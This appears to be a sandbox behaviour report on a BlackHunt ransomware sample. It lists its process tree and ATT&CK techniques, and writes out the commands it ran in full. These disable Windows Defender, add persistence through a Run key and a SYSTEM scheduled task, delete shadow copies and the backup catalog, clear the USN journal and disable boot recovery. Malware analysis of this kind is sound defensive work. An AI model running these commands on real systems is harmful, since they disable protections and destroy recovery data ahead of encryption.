C:\Users\Admin\AppData\Local\Temp\6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
"C:\Users\Admin\AppData\Local\Temp\6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1912
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3544
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2228
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4804
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5052
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1968
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2704
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3176
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4080
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:3376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:4832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4904
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2880
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:852
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:3016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:5104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4528
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:336
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3892
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:4416
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:4260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:4384
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1052
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:4812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:3940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:4040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2128
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:768
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3912
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:3380
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:4544
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe" /F
  2⤵
  PID:3164
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:4944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:3968
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:4964
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1624
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4904
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:4088
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:4984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:4628
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2484
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2316
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2412
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:5104
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1984

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1668

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:948

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:5848

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:1852

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery